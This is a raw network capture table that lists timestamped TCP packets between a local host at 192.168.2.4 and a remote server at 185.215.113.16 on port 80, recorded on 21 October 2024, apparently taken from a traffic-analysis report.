Oct 21, 2024 10:47:12.473242044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473254919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473268986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473269939 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473308086 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473308086 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473309994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473324060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473339081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473351955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473366022 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473376989 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473376989 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473381042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473395109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.473417997 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.473452091 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.505049944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.505069971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.505084991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.505115986 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.505126953 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.544425964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.544441938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.544450998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.544457912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.544465065 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.544472933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.544650078 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.586694956 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.586795092 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.586826086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.586839914 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.586934090 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.589765072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.589777946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.589792013 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.589817047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.589862108 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.589862108 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.602046013 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602096081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602108955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602108955 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.602124929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602139950 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602154016 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602183104 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.602183104 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.602252960 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.602351904 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602374077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602390051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602404118 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602431059 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.602431059 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.602442026 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.602453947 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602468967 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602531910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602544069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.602596998 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.602617979 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.610939980 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.611012936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.611016035 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.611032963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.611047029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.611078024 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.611088037 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.626687050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626699924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626713991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626729012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626748085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626763105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626777887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626791954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626807928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626832962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626876116 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.626916885 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.626941919 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626956940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.626982927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627005100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627024889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627026081 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627039909 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627055883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627063036 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627068996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627082109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627096891 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627110958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627136946 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627150059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627209902 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627209902 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627221107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627233982 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627288103 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627337933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627368927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627391100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627404928 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627404928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627422094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627427101 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627437115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627451897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627465010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627479076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627516985 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627516985 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627516985 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627579927 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627592087 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627614021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627654076 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627666950 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627680063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627681017 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627681971 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627695084 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627708912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627718925 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627738953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627752066 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627756119 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627756119 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627767086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627819061 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627819061 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627821922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627880096 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627887964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627908945 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627923965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627958059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627959013 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627959013 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.627971888 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.627993107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628007889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628007889 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628021955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628035069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628047943 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628081083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628093004 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628118992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628176928 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628185034 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628227949 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628262043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628277063 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628277063 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628283978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628297091 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628309965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628334999 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628334999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628334999 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628350019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628364086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628391981 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628391981 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628427982 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628484011 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.628648996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.628719091 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.659738064 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.659950972 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.659964085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.659976959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.659997940 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.660042048 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.660042048 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.699554920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.699573040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.699588060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.699675083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.699690104 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.699702978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.699716091 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.699716091 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.699868917 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.741837025 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.741931915 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.741997957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.742008924 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.742192984 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.744574070 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.744590044 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.744659901 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.744677067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.744685888 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.744740009 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.756836891 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.756906986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.756906986 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.756916046 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.756937027 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.756944895 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.756968975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.756978035 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.757061958 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.757061958 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.757061958 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.757467985 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.757497072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.757505894 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.757525921 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.757544041 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.757554054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.757555962 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.757611990 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.765844107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.765853882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.765871048 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.765878916 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.765916109 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.765928030 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.781820059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.781831026 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.781841040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.781972885 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.781972885 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.781984091 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.781995058 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782002926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782011986 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782021046 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782030106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782052040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782057047 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782063007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782072067 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782078981 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782080889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782100916 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782111883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782119989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782129049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782135963 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782139063 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782159090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782167912 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782176971 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782187939 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782198906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782208920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782222033 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782222033 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782252073 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782286882 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782342911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782351017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782382965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782391071 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782401085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782402992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782411098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782448053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782479048 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782479048 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782526970 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782538891 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782550097 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782558918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782577991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782588959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782597065 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782607079 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782618046 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782625914 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782625914 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782650948 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782653093 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782664061 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782696009 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782696009 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782725096 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782732964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782757998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782805920 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782824993 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782855988 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782866955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782881975 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782891989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782902002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782912016 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782922983 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782955885 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.782978058 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782988071 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.782993078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.783025980 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.783035040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.783044100 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.783052921 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.783070087 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.783127069 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.783185005 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.783195972 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.783209085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.783263922 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.816014051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.816025019 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.816036940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.816046953 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.816091061 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.816091061 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.854176998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.854187012 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.854192972 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.854201078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.854274035 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.854293108 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.854302883 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.854311943 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.854429960 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.896635056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.896666050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.896676064 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.899538994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.899563074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.899573088 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.899580956 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:12.900315046 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:12.911834002 CEST	80	49855	185.215.113.16	192.168.2.4
